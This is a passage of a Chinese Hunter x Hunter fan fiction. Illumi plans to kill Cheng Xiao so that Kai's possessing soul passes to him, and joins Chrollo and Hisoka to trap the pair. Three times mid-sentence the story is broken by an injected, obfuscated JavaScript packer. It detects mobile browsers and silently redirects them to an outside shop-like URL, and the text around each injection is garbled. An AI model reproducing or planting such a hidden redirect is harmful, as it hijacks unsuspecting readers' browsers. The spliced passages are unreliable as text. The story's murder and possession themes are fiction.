为什么……内心会涌现出这种强烈的不适感?这种类似于系统被强行植入未知病毒,导致运行滞涩、资源被异常占用的……不爽? ……难道……就是因为……爱?? 伊尔迷陷入了短暂的迷茫。他发现,如果想要彻底驳斥库洛洛的荒谬指控,他首先需要理解“爱”这个变量的准确定义。 ………某种,知识盲区。 一段尘封的记忆被调用出来。那是幼时,某位家庭教师试图用比喻向他解释“婚姻”的概念: “两个独立的人,就像互不相干的两条线……婚姻就是把他们绑在一起的东西。如果是好的婚姻,会编成一个漂亮的蝴蝶结,牢固又美观;如果不好,那也很容易拆开,一拍两散。” 他之所以记忆深刻,是因为当时就觉得这个理论荒谬绝伦。 既然选择了来招惹自己,还想着能够全身而退吗? 一旦链接建立,无论最终被编织成什么——是那个可笑的蝴蝶结也好,是一团乱麻也罢——凭什么认为在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694894|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不合适”的时候,就可以轻描淡写地拆开,当作一切从未发生? 才不对。伊尔迷想。 正确的逻辑不应该是这样。 链接的结果,就应该是被编织成一个死结。或者,将两条线彻底揉碎,重新纺成一团再也无法分离的毛线。本就该世世纠缠下去,直到一方彻底磨损殆尽。如果想离开……唯一的途径,只能是崩断,或者,被自己彻底 “吞噬”。 好聚好散?这个可笑的词汇,从来就不存在于他的字典里。 ……毕竟,是凯先来觊觎揍敌客的。 那么,他就本应准备好,用他的整个余生,来填补这份‘觊觎’所带来的代价。 想到这里,他豁然开朗。所有因库洛洛话语而产生的逻辑乱码被一扫而空,系统恢复了高效运转。 爱情什么的,定义根本不重要。 凯必须回到自己手中。 这就够了。 ………… 当伊尔迷沉浸在自己刚刚重构的、坚不可摧的逻辑之中,一股剧烈的念压波动如同精准投下的炸弹,在他感知的边缘轰然炸开——方向,正是他刚刚离开的那处据点! 没有一丝一毫的犹豫,他周身念压迸发,身影化作一道撕裂夜幕的鬼魅,以最快的速度原路折返。 然而,当他赶到时,眼前只有一片弥漫着烟尘的断壁残垣。据点被毁了,干脆利落,仿佛被一只巨掌狠狠碾过。 是库洛洛的仇家?还是揍敌客的敌人? 纷乱的念头刚起,他的视线便被废墟高处的一个身影锁定。 库洛洛立于残破的钢筋之上,寒风猎猎,将他朴素的研究服下摆吹得狂舞不止,仿佛一面宣告胜利的旌旗。他依旧是那副从容不迫、胜券在握的模样,仿佛眼前的毁灭不过是他剧本中早已写好的一幕。 他居高临下地看着赶来的伊尔迷,优雅地、近乎戏剧化地行了一个礼。 然后,他微笑着,吐出了这一整晚的谎言、误导与心理博弈中,唯一的、也是最终的一句真话—— “别再为你那失控的占有欲编织‘理性’的借口了,伊尔迷。” 库洛洛的身影在断墙边缘清晰浮现,寒风卷起他的衣角,而他俯瞰的目光,带着一种近乎残忍的洞悉。 “你所有的谋划,所有的‘必须夺回’……”他微微停顿,如同给予最后审判前的休止符,“根源只有一个,且与你口中的效率和逻辑毫无关系——” “你只是无法接受‘被选择’。” “你只是,无法承受‘被拒绝’。” 话语掷地有声,如同最终宣判。 “承认吧,在这件事上,你和那些你最瞧不起的、被原始情绪支配的弱者……”库洛洛的唇角勾起一丝冰冷的弧度,“毫无区别。” 话音未落,他向后一步,身影消散在阴影之中,仿佛从未存在。 伊尔迷瞬间闪至边缘,他漆黑的猫眼向下扫视——下方,除了破碎的混凝土和扭曲的金属,空无一人。库洛洛·鲁西鲁,就如同被黑暗本身吞噬了一般,消失得无影无踪。 只留下那句如同诅咒般的话语,在凛冽的寒风中,在伊尔迷的心核上,敲开了一丝微不可察、却将蔓延开来的裂隙,那些关于资产、死结、逻辑的自洽论证,在这记直刺灵魂的拷问下,骤然碎裂。 39.暂落 远处的风声在耳边呼啸,西索抱着念力尚未恢复的库洛洛,在夜色中疾驰,速度快得只在身后留下一道残影。 “嗯哼~” 西索的声音带着抑制不住的、欢快的颤音,打破沉默,“真想看看小伊现在是什么表情啊~ 那种世界观被砸得粉碎的样子……他现在一定非常、非常需要一位魔术师的……贴心安慰呢~” 库洛洛:“………………………” 他闭上眼,感觉西索的话语比伊尔迷的念针更具穿透力,是一种直击灵魂的精神污染。他决定屏蔽外界信息,单方面关闭了听觉输入通道。 然而,视觉和触觉却无法关闭。他能感觉到西索的手臂越收越紧,那具紧贴着他的身体因为极度兴奋而微微颤抖,仿佛抱着的不是一个人,而是一件刚刚得手的、令他爱不释手的绝世珍宝。 这种黏着而又充满占有欲的接触,显然已经超出了西索所谓的“临时合作”范畴。他似乎在用这种方式确认库洛洛的“存在”,并品尝这短暂的“拥有”感。 终于,西索像是达到了忍耐的极限,或者说,是预感到自己再继续“拥有”下去,可能会忍不住当场做出一些破坏合作约定的事情——比如直接开启一场库洛洛毫无还手之力的“游戏”。 他在一个僻静无人的街角猛地停下,几乎是有些粗鲁地将他的“大苹果”往墙边一放,确保库洛洛能站稳。 “给~” 他飞快地报出一个地址和名字,语速快得像怕自己反悔,“你要找的除念师……可别说我售后服务不到位哦~~” 话音未落,他甚至没给库洛洛任何回应的时间,便像一道挣脱了所有束缚的红色鬼影,带着一串意犹未尽的、扭曲的笑声,瞬间消失在了复杂的巷道深处。 库洛洛:“………………………” 他靠在冰冷的墙上,缓缓睁开眼,看着西索消失的方向,耳边似乎还回荡着那令人头皮发麻的笑声。 世界,终于清静了。 ………… 西索的身影如一道红色的闪电,撕裂夜空,不是奔向新的猎物或自由的远方,而是沿着来路——径直折返,精准地扑向那片刚刚逃离的、仍弥漫着硝烟与崩溃气息的废墟。 伊尔迷依旧僵立在原地。 库洛洛的话语如同最精密的病毒程序,在他引以为傲的逻辑核心内持续引发着系统崩溃的连锁反应。他试图清理,试图重构,但每一个指令都指向那个无法解析的结论:你与弱者无异。 就在这时,一股毫不掩饰的、甜腻而危险的念压如同实质的触手,再次缠绕上这片废墟。 伊尔迷空洞的猫眼骤然聚焦,瞬间进入战斗戒备状态。 西索轻巧地落在一段扭曲的钢筋上,仿佛舞台上的主角华丽登场。他看着伊尔迷那副冰冷面具下难以掩饰的混乱裂痕,愉悦地眯起了眼。 “嗯哼~” 他发出一个餍足的颤音,打破了令人窒息的沉默,“看来……我们迷路的小猫咪,需要一些‘正确’的引导呢~~~” 伊尔迷的声音冰冷刺骨,带着被侵入领地的杀意:“……你回来找死?” “不不不~” 西索夸张地摇了摇手指,笑容灿烂而恶意,“我是来……帮你理清思路的。” 他舔了舔嘴唇,金色的瞳孔在月光下闪烁着妖异的光。 “库洛洛那个骗子,是不是告诉你,你是因为‘害怕被拒绝’才这么执着的?真是……太不了解你了~” 西索的身体微微前倾,如同恶魔在低语,吐出了他版本的、更为残酷的“真相”: “你怎么会‘害怕’呢,伊尔迷?你只是……纯粹的,无法容忍‘失控’本身。” “凯的离开,库洛洛的逃脱……这些‘意外’像病毒一样污染了你完美的世界。” 他的声音充满了陶醉,“你所有的愤怒,都不是因为‘失去’,而是因为你的‘绝对控制权’……被挑战了哦~” “承认吧,” 西索的笑容扩大到一个非人的弧度,“你现在最想做的,不是悲伤,而是……把他们一个个抓回来,用最痛苦的方式,‘修正’这个错误,对吧?” “这才是我认识的伊尔迷·揍敌客啊~” 他才不是来安慰的~ 他是来确认崩溃,并亲手为伊尔迷的偏执与怒火,指明一个更黑暗、更暴戾的方向。 ————————枯枯戮山,夜深人静。 伊尔迷回到了自己的房间,他身上没有伤痕,举止也一如既往地精准,但周身散发出的念压却失去了往日的绝对平稳,像一道信号不良的电流,在寂静的空气中发出细微却刺耳的杂音。 他试图通过日常的数据整理来让自己平静,但指尖在屏幕上划过时,库洛洛那句“你与弱者无异”和西索那张狂的笑脸,如同无法清除的弹窗,反复干扰着他的核心进程。 他甚至没有意识到自己念压的紊乱。 直到一个身影,如同他思绪中一个固有的阴影,悄无声息地出现在他房间的角落。桀诺·揍敌客端着茶杯,仿佛只是散步路过。 “啧,”老爷子吹了吹杯口的热气,甚至没有看他,“心里的毛线团,快要把屋子都塞满了啊,小伊。” 伊尔迷的身体几不可查地僵直了一瞬。他没有回答,这是一种默认。 桀诺慢悠悠地呷了口茶,目光似乎落在虚空的某处,开始了他的“引导”。这引导并非安慰,而是一种更高级的 “认知重构”。 “知道我们和那些‘流星街出品’的最大区别在哪里吗?” 伊尔迷抬起空洞的猫眼。 “他们的一生,都在抢夺。抢资源,抢力量,抢生存的空间……所以他们迷恋‘掠夺’和‘占有’的快感,像守着骨头的野狗。” “而我们揍敌客,” 桀诺的视线终于落到伊尔迷身上,平静中带着千钧之力,“我们‘培育’。” “我们培育血脉,培育技术,培育这片土地。我们看待事物,看的不是‘现在能抢到什么’,而是‘未来能生成什么’。” 他放下茶杯,发出清脆的一声轻响。 “所以,别学那些野狗的思维方式,把自己困在‘他爱不爱我’、‘他怕不怕我’这种低级问题上。” “你的问题很简单:你看中的那样‘东西’(凯),以及那样‘工具’(库洛洛),暂时脱离了你的‘培育场’。” “你要做的,不是在这里纠结他们为什么跑,或者他们怎么看你。” “你要做的,是去创造一个他们不得不回来 ,或者你随时可以取回的‘新花园’。” 说完,桀诺像来时一样,背着手,慢悠悠地踱步离开。 伊尔迷周身的念压,在那一刻,骤然归于绝对的死寂与平稳。 他眼中所有的混乱都被扫清,取而代之的,是一种更深邃、更恐怖的冰冷。 他明白了。 库洛洛和西索试图用“情感”的迷宫困住他。 而祖父,直接给了他一把劈开迷宫的斧头。 他的嘴角,第一次,勾起了一个没有任何温度,却无比高效的弧度。 ——是的,去建造一个,他们无法逃离的花园。 …………………… 想通之后,事情好像都在向好的方向发展。 内心的杂音被彻底清除,伊尔迷的思维恢复了揍敌客式的绝对效率。也正是在这时,那份姗姗来迟的最终实验报告,被送到了他的手中。 库洛洛的叛逃并未影响数据的有效性。长久的实验过程,结合揍敌客庞大的历史档案交叉分析,已经足够证实那个最初的猜想—— 凯的附身,存在一条无法逾越的铁律:他只能在宿主死亡后,被动的、无选择地寄宿于距离最近的、符合条件的生命体之中。 这条规则,如此简单, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708353|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此绝对。 伊尔迷放下报告,走到窗前,眺望着枯枯戮山沉郁的轮廓。他眼中没有任何对于“命运弄人”的感慨,只有一种面对一道复杂数学题终于找到最优解时的纯粹。 这简直太简单了。 方案清晰地在他脑中铺开: 方案A:找一个绝对忠诚且位置精准的管家,在程笑死亡的瞬间,成为那个“最近”的容器。这是最干净、损耗最低的方式。 方案B:若追求万无一失的精准,他也可以亲自下场。就像家族最初为了绑定这份资产,让他与凯建立“婚姻”关系一样——这一次,他可以牺牲自己的一部分意识空间,作为一座为他量身定制的、无法逃离的完美牢笼。 这个念头让他感到一种奇异的平静。这无关情感,无关占有,甚至不再关乎凯本身。 这关乎的是揍敌客的资产回收,关乎的是对失控程序的修正,关乎的是他——伊尔迷·揍敌客,将用自己的方式,亲手为这个由库洛洛和西索带来的混乱变量,画上最终的休止符。 他拿起内线电话,声音平稳得不带一丝波澜。 “准备一下。” “第一阶段,定位目标程笑。” “第二阶段,待命。” 电话那头传来管家毫无迟疑的回应:“是,伊尔迷少爷。” 现在,猎杀,重新开始。 ————小剧场 场景:一家格调昏暗的酒吧。 西索晃着酒杯,里面的冰块发出清脆的声响。他看着对面正在小口啜饮果汁的伊尔迷,慵懒地开口: “所以~ 小伊接下来打算怎么办?继续追着那只不听话的大苹果满世界跑吗?~” 伊尔迷放下杯子,黑色的猫眼在昏暗的光线下显得格外空洞。他没有直接回答,反而像是想起了什么无关紧要的事,用讨论晚餐吃什么一样的平淡语气说: “现在不一样了。实验有了结果,我会直接杀掉程笑——由管家…或者是我。反正,凯会身不由己地附着到最近的人脑中。” 西索挑眉,饶有兴致地接话:“嗯哼~?你自己吗?你不怕会有什么……有趣的副作用吗?” 他意有所指,语调暧昧。 “他的自主性低到可怜。”伊尔迷的声音没有任何起伏,完全无视了对方的弦外之音,“没有宿主允许,他无法接管身体,构不成威胁。” 他顿了顿,仿佛忽然想到了一个优化方案,用一种讨论甜点般的平常语气补充: “而且,如果他的意识体在内部是可视的话,说不定……也可以在意识里直接吃掉。” 西索晃杯子的手停住了,脑中瞬间闪过一些限制级画面,金色的瞳孔因意外而微微放大:“……?确实是很侮辱人的精神呢~” 伊尔迷完全没接收到他的弦外之音,继续用那平板无波的语调,阐述着他眼中的物理定律: “嚼碎,咽下去。它就参与了‘我’的构成。最后连独立的残渣都不会剩下。什么都不会留下,我将…永远拥有它。这是别人再也无法剥夺的‘拥有’。” 他抬起眼,看向突然沉默的西索,似乎对他的停顿感到一丝不解。 “?” 西索愣了两秒,大脑终于从颜色的深渊切换到了哲学的(并且更恐怖的)频道。随即,一种极度兴奋、扭曲的笑容缓缓在他脸上绽开。他舔了舔嘴唇,仿佛品尝到了这理念本身的味道。 “啊啊~……原来如此……”他发出愉悦的颤音,身体因理解了这个终极方案而微微战栗,“不是玷污,而是湮灭……小伊你……果然从来不会让我失望呢~” 而伊尔迷已经重新低下头,看着自己的空杯,开始思考是再加一杯果汁,还是今天就到这里结束。 ——他将世间最极致的占有,阐述成了最基础的生物循环。而这份理所当然,让最疯狂的魔术师,都为之战栗倾倒。 40.合作 库洛洛再次踏入这片土地时,空气中弥漫着一种陈腐的、物是人非的气味。 环境比他记忆中更昏暗,阴影浓稠得如同墨汁。伊尔迷从那片墨色中抬起眼,光影在他脸上割裂出冰冷的线条,像一尊蛰伏在祠堂深处的、怨念深重的偶人。那双一向空洞的猫眼里,此刻竟翻涌着几乎化为实质的不甘——他不甘心眼前的人又披回了“蜘蛛头子”这层华服,更不甘心当这块肥肉最虚弱时,竟从自己唇边生生溜走。 那个念头曾如此诱人:将失去獠牙的蜘蛛头子永远囚禁在枯枯戮山的暗室里,让他那举世无双的头脑只为揍敌客燃烧……可惜,被一个不识趣的魔术师搅了局。 “… …” 伊尔迷极轻地点了一下头,仿佛终于将某种偏执的妄念硬生生摁回心底。他看着这块“逃走的肉”,声音平直得像一条拉紧的线: “合作愉快。” 库洛洛唇角弯起完美的弧度,面具般无懈可击:“合作愉快。” 曾经到嘴的鸭子飞了?无妨。重要的是当下,谁能笑到最后。 “——关于程笑和凯。”伊尔迷转身领路,声线在寂静的回廊里显得格外清晰,“他们活动的区域已经锁定。不过在此之前——” 他推开一扇沉重的实木房门,吱呀的呻吟揭露了室内的布局。西索仿佛等候多时,正慵懒地倚在一张铺着巨大区域图的桌边。伊尔迷的身影无声没入墙角的阴影,仿佛无处不在,续上了未尽的话语: “我们需要一个万无一失的计划。” 库洛洛微微颔首,目光已扫过地图上关键的标记:“当然。” 那两只屡次从他们指缝中溜走的猎物,其优先级已在无声中超越了所有过往的龃龉。一种冰冷的默契在三人之间流淌:私人恩怨暂且搁置,首要目标,必须达成。 “真是的~” 西索指间扑克翻飞如蝶,声线甜腻却带着危险的颤音,“…一定要…一定要~让我惊喜啊~~” 他眼波流转,瞥向库洛洛,“我可是忍着没对这颗大苹果下手,才陪你们玩到现在哦~~如果等了这么久却毫无长进的话……” 话音未落,一张鬼牌带着凌厉的破空声,铎地一声,精准地钉入了地图上那面标示着猎物藏身之处的红色小旗中央。 “… …就要被碾碎了哦~?” —————— 程笑嘴里哼着不成调的曲子,手里有一下没一下地转着那把从集市淘来的旧木刷子。凯找的这处藏身之所确实绝了,隐蔽是真隐蔽,就是偏得离谱——离最近的人类集市都有几百公里。 刚躲过来那会儿,程笑还耐不住寂寞,雄心勃勃地想跑去凑热闹。结果一去一回,整整一天就搭在路上了,把他给彻底整没脾气了。 抓狂无效后,他只能认命,老老实实开始了……呃,画风清奇的锻炼。 比如,用念力辅助投掷苹果,力求精准砸中百米外晃动的树叶;又或者,屏息凝神,去捕捉林间那些速度奇快的小兽。 没办法,教练凯先生出身揍敌客,教来教去,翻来覆去就是这些杀手入门技巧。 “好吧,有总比没有强。”程笑当时和脑内的凯商量,“要是按部就班练力气,时间不够,风险又高,见效还慢。” 两人一合计,果断放弃了那条“正道”。毕竟,他们潜意识里都清楚,这种偷来的悠闲日子,过一天算一天,像是从命运指缝里抠出来的恩惠,指不定哪天就到头了。 不过,训练成果倒是实实在在的。别的不说,他现在的速度和耐力确实提升了一大截。至少,跑去集市凑热闹,刨开来回路程,还能优哉游哉地晃荡上一个中午了。 这怎么不算是可喜可贺呢? 程笑溜溜达达地回到据点旁熟悉的小溪边,蹲下身,开始就着清澈的溪水,仔细地洗刷起那具暂时栖身的人偶。水流潺潺,带着一丝山间的凉意,冲刷着人偶精致的面庞,也暂时冲散了那份潜藏于心的、对未来的隐忧。 ——————— “这里。” 伊尔迷苍白而骨节分明的手指,精准地点在地图上山脉边缘的一条浅蓝色曲线旁。 “溪流上游。是他们每天清晨最常出现的地点之一。” 库洛洛眼中闪过一丝微光,他正运用着近期搜罗来的侦查类念能力进行感知印证,随即颔首:“正确。而且…他们平时的行踪很分散,毫无规律,像是在刻意规避追踪模式。” 唯有清晨取水这点,是难得的固定项目。 西索的指尖弹出一张扑克,在溪流的位置上空悬停,声音甜腻而危险:“~所以…这里就是为我们的小苹果准备的…最佳舞台?” “谨慎。”伊尔迷的声音毫无起伏,“不要打草惊蛇。揍敌客有训练特定物种用于侦查的传统。将它们散布到附近区域,先行试探,再决定具体行动方案。” 库洛洛闻言,沉吟片刻,提出了更深一层的顾虑: “计划本身合理。但你别忘了,凯在揍敌客家族内部生活了不短的时间…” 他抬眼,目光平静地看向伊尔迷: “…很难保证,他认不出那些经过特殊训练的‘眼睛’。” 伊尔迷:“?”(静静等待他的下文) 库洛洛迎着他的目光,眼底若有所思,话语也带上了引导的意味: “…如果…”他缓缓说道,“能有办法,让我们直接共享那些动物的视觉,或者暂时接管其部分神经感知…” 伊尔迷瞬间懂了。 库洛洛的言外之意再清楚不过——他不想白白耗费自己的念力去做广域侦查,这是想空手套白狼,让揍敌客家族出面,找来拥有此类稀有念能力的“工具人”,供他无偿使用。 真是标准的蜘蛛做派,任何时候都不忘算计和索取。 伊尔迷沉默地看了库洛洛几秒,那双空洞的眼睛里,似乎有更黑暗的东西在流动。 “共享视野…是个低效的提议。”他平静地否定,“视觉会欺骗,神经会延迟。” 他向前一步,无形的压迫感弥漫开来: “如果你真的想确保‘万无一失’…我这里有一个更彻底的方案。” “揍敌客的秘药,能暂时将你的‘意识’分割出一部分,强制植入动物脑中。你会获得绝对真实的感知,但代价是…” 他的目光如同冰冷的手术刀,刮过库洛洛的灵魂: “…药效期间,你的本体将失去所有防御能力。并且,那一部分意识可能会被动物原始的脑结构‘污染’,甚至…无法完整回收。” 他给出选择,如同递出一杯甜蜜的毒酒: “是选择安全但可能失效的‘共享’,还是选择绝对真实但伴随风险的‘共生’?” “库洛洛,你的‘诚意’…价值多少?” 空气中仿佛凝结出冰碴。库洛洛瞳孔微不可查地收缩,他清晰地感受到,眼前的伊尔迷与记忆中被西索言语扰乱的那个相比,变得更加黑暗、阴沉,心思也越发滴水不漏。这份“诚意”的代价,沉重得超乎想象。 就在库洛洛权衡之际—— “啊啦啊啦~?” 一个甜腻如糖浆的声音突兀地插了进来,打破了这危险的僵局。西索不知何时已凑到两人中间,手指间夹着的扑克牌巧妙地隔开了伊尔迷那过于迫人的视线。 他金色的瞳孔在两人之间流转,带着一种看透一切的、愉悦的无奈:“真是的~ 一上来就玩得这么硬核,万一不小心把我们的男主角玩坏了,这出精心准备的戏剧岂不是要提前落幕了?~ 我最讨厌~ 烂尾了哦?” 他像是专业的和事佬,用扑克牌轻轻点了点伊尔迷的胸口(在对方冰冷的注视下又敏捷地收回),转而看向库洛洛,提出了一个“折中”方案: “小伊家的‘赊账’服务,不是挺公道的嘛~? 让揍敌客找个能和小动物共享视野的念能力者,暂时‘租’来用用~等抓到我们调皮的小苹果,再从他身上连本带利‘榨’出来还上不就好了~?” 他冲着库洛洛眨了眨眼,暗示意味十足:“反正~到时候我们有的是办法‘回本’,不是吗~?” 库洛洛瞬间明白了西索的意图——魔术师不希望任何一方在开场前就耗尽筹码或承担过大风险,他需要所有演员都以最佳状态,登台献上一场完整的、高潮迭起的演出。 “…可以。” 库洛洛从善如流,接受了这个看似更“安全”的商业提议,对伊尔迷说道:“就按揍敌客的规矩,赊账。” 他表面平静,内心却对伊尔迷的蜕变留下了更深的印象。这个男人,变得更加危险了。 伊尔迷看了看一心维护“戏剧完整性”的西索,又看了看顺势而下的库洛洛,没有再坚持他那危险的“共生”提案。 “…可以。”他公事公办地应下,随即拿出手机快速操作,然后将屏幕转向库洛洛,上面是一份简洁的报价单,“这是雇佣一名具备‘视觉共享’特质念能力者的费用,按市价七折计算。确认后,揍敌客会负责联系并确保其配合。款项在目标回收后结清。” 库洛洛快速扫过那串对于临时雇佣而言依然高昂的数字,他对这些地下世界的具体行价并不完全清楚,但“七折”听起来像是个合理的盟友价。他正要点头—— “哎呀呀~?” 西索的脑袋突然从旁边凑了过来,他飞快地瞥了一眼账单,脸上瞬间绽开一个发现秘密的、坏心眼的笑容,他拖长了调子:“小伊~ 都是盟友了还这么不诚实吗~?这价格——” 伊尔迷:“…(盯)” 冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好的。”伊尔迷面无表情地拿起手机,指尖飞快操作,“库洛洛的报价,多加两千万。” 库洛洛:……………(我是被宰了吗?) 他甚至没来得及提出异议,伊尔迷已经完成了操作,将屏幕转向他,上面的数字果然凭空多出了一大截。 就在库洛洛盯着那串数字沉默时—— “叮咚~” 西索的手机传来清脆的提示音。他笑眯眯地划开屏幕,手机播报用夸张的、足以让所有人都听清楚的语调念道: “到账:一、千、万、戒、尼~” 库洛洛:…………(我就是被宰了吧?) 空气瞬间凝固。 伊尔迷依旧面无表情,仿佛刚才只是进行了一次普通的转账操作。 西索金色的瞳孔里闪过一丝玩味。他可不相信这个万年财迷会突然转性主动分账。那小伊这么做是为了……示好?不,不可能。更合理的解释是:伊尔迷在通过这种拙劣到近乎明目张胆的手段,向库洛洛“表演”他们之间非同寻常的默契与联结,从而在库洛洛心中埋下怀疑的种子,彻底杜绝自己和库洛洛后续联手的任何可能。 事实上,库洛洛此刻正是这么想的。对面这对黑心搭档堂而皇之地在他面前完成分赃,已经算是把他对他们的那点微薄信任按在地上摩擦了。这种赤裸裸的联盟姿态,既是警告,也是宣示。 但西索的思维向来能拐到更深的弯里:既然小伊现在刻意在库洛洛面前 “表演”他俩关系匪浅……那是不是也就意味着……~?(毕竟他西索大人,可不会这么被动地承担算计,哪怕是小伊也不行~) 一个绝地反击的念头瞬间成型。 伊尔迷刚关了手机投屏,还没来得及收起,就感觉一个带着甜腻香气的、红色的“大型不明物体”猛地朝自己扑了过来:“??” “小伊~~~~~” 西索像没了骨头一样,整个人粘在伊尔迷身上,声音甜得能齁死人,手臂还故意环住了伊尔迷的脖子,开始了他即兴的、旨在恶心人的表演,“你就这么想让大家知道我们的‘特殊关系’吗?真是的~ 好害羞哦~~?” 伊尔迷:“………………(身体瞬间僵硬,空洞的猫眼里第一次出现了名为‘后悔’的情绪。他突然觉得,让西索和库洛洛联手,似乎也没有那么难以接受了。)” 站在对面的库洛洛,默默掏出了手机,面无表情地对着这“感人至深”的一幕。 咔嚓。 伊尔迷:“删掉。”(头都没回,一枚念钉破空而去,精准地将库洛洛的手机顶飞,钉在了远处的墙上。) 库洛洛看了眼墙上屏幕碎裂、冒着电火花的手机,语气平淡:“哦吼~,那个手机是特质系的,防震防火防水,就是不防念钉,很贵的。”(真相:就是一个普通手机) 伊尔迷声音毫无波澜:“…他赔。”(手指精准地指向还挂在自己身上的西索。) 西索:“???!!!” (笑容瞬间僵在脸上) 41.落网 又是一个清晨,林间的薄雾尚未散尽,一切都仿佛与无数个昨日没什么不同。 程笑捞起那具需要精心保养的人偶,走向溪边进行每日的洗刷。冰凉的溪水漫过指尖,随着自身修为的精进,他发现自己对“存在”的感知达到了一个前所未有的细致地步。只要他心念微动,视线便能轻易捕捉到人偶脸颊上木质纤维的细密纹理,看清那些依附其上的、微小的尘埃在水流冲刷下无助地颤抖、剥离。 他闭上眼,放弃了视觉,感官却向着更广阔的世界蔓延。刷子的软毛顺着水流与力道规律地搓洗,与此同时,周遭的一切在他“心”中渐渐勾勒出清晰的图景——林深处惊起的麻雀振翅,风过处拉扯着万千枝叶婆娑作响……一切都带着一种宁静的、近乎催眠的韵律。 ——不对! 程笑猛地睁开双眼! 那片被惊扰的树冠,振翅的频率太快,轨迹太直,那不像是被走兽惊扰,更像是……被某种无形的东西精准驱赶! 没有丝毫犹豫,他甚至没去捞那把顺水漂走的木刷,身体已在本能的驱使下,如同被橡皮擦掉一般,瞬间消失在了原地。只留下溪水兀自流淌,以及岸边一点未散的余温。 不远处,浓密的树影之下。 “真是…越来越谨慎了。”伊尔迷将自己完美地隐匿在环境的阴影中,如同彻底融入了背景。他清晰地感知到了那道气息的瞬间蒸发,如同烛火被强风掐灭。 他漆黑的猫眼里没有任何波澜,只有一种冰冷的、如同评估仪器般的审度。 “可以说…长进了不少。”他对着微型通讯器低语,那点通讯器的微光在他深不见底的瞳孔中明明灭灭,仿佛深渊里唯一的星火。 “…可惜,还不够。” 话音落下的瞬间,他的指尖已然按下。 一道无形的指令,如同投入静湖的石子,激起的涟漪精准地传向了早已张开的罗网另一端。 “这次,”伊尔迷的身影也如同鬼魅般,悄无声息地融入了更深的林影,只留下一句消散在风中的低语,“绝不会让你跑掉了。” ———————————另一边 “哦?感知范围已经能触及到这个距离了么。” 库洛洛看着通讯器上伊尔迷传来的简短讯息——指尖轻轻敲击着书本的硬壳封面。他垂眸沉思了片刻,眼底掠过一丝极淡的、如同发现实验数据出现有趣偏差般的兴味。 “看来这些日子,真是给你们偷来了不少成长的空间。”他低声自语,唇角勾起一抹没有温度的、近乎赞赏的弧度。 “不过…” 他抬起眼,望向程笑气息消失的方向,目光仿佛能穿透层层林障,那抹弧度里淬上了冰冷的算计。 “…远远不够看。” “计划不变。”他对着通讯器,清晰地吐出四个字,随即合上膝头的书本,身影如同融入水中的墨迹,悄无声息地消散在原地。 —————————————— 程笑的身影在林木间疾速穿梭,风声在耳边拉成尖锐的呼啸。 “为什么一定要走这个方向?”他忍不住在脑中发问,一股没由来的心慌攫住了他。 “动物的本能最擅长趋利避害。” 凯的声音冷静地响起,如同在陈述一条物理定律。“它们集体迁徙的路径,大概率是当下最安全的选择。” 他稍作停顿,给出了更具说服力的理由:“况且,如果追踪者真是伊尔迷,以我们目前展现的价值等级,远不值得他动用‘精确驱赶兽群’这种高消耗、低效率的手段。这不符合揍敌客的成本法则。” “…真的吗?” 程笑心底那份属于直觉的警报依旧在细微地鸣响,让他忍不住怀疑:“听你这么一说……他居然还挺……讲道理?甚至有点……仁慈?” “……” 这个问题,让凯的意识核心陷入了一瞬间的凝滞。介于他们之前轰轰烈烈干下的——盗窃家族宝物、公然挑衅、焚毁“妻子”人偶——种种行径,情况或许值得重新衡量。 他的逻辑核心飞速运转,得出了毋庸置疑的结论:“兽群中混杂着大量棉尾兔、棕喉雀。这些物种防御低下,攻击性无,是揍敌客训练手册中明确标注‘毫无价值’的类型。伊尔迷若动用资源驱赶动物,所选物种必是猎犬、怒狼之类兼具追踪、杀伤与耐力的高效品种。眼前这种混乱的、包含‘无用单元’的迁徙,绝非揍敌客的手笔,更像是自然原因引发的恐慌。” “好吧。” 程笑被这份无可辩驳的逻辑说服了。他压下心头那点说不清道不明的不安,将自身的气息进一步融入这片惊慌失措的兽潮之中。 ————————— 伊尔迷隐匿于绝对黑暗的树影中,看着监测屏幕上那两个光点,正如库洛洛所预料的那样,精准地汇入了那片由无用动物组成的迁徙潮,并以此为掩护开始移动。 他几不可查地挑了一下眉梢。 …果然。 库洛洛的判断分毫不差。凯,你果然是我最熟悉、也最了解我行事准则的对手。正因为这份了如指掌,你才能一次次预判我的预判,从规则的缝隙中溜走。 一股怪异的感觉,如同细密冰冷的蛛网,无声无息地缠绕上他的心脏。那不是愤怒,也并非不甘,而是一种更为纯粹的认知——在面对一个完全了解自己的猎物时,猎人与猎物的身份,似乎出现了某种危险的模糊。 他清晰地认识到: 是的。看来确实只有引入“库洛洛”这个无法预测的第三方变量,用这种完全不符合揍敌客效率手册的、看似拙劣而混乱的噪音…… …才能屏蔽掉你那基于对我绝对了解而建立的防御,真正地…抓住你。 即使,这让他亲手参与布置的,是一个在他眼中如此拙劣的陷阱。 ——————————— “哈啊……哈啊……我们……我们这算是逃出来了吗?” 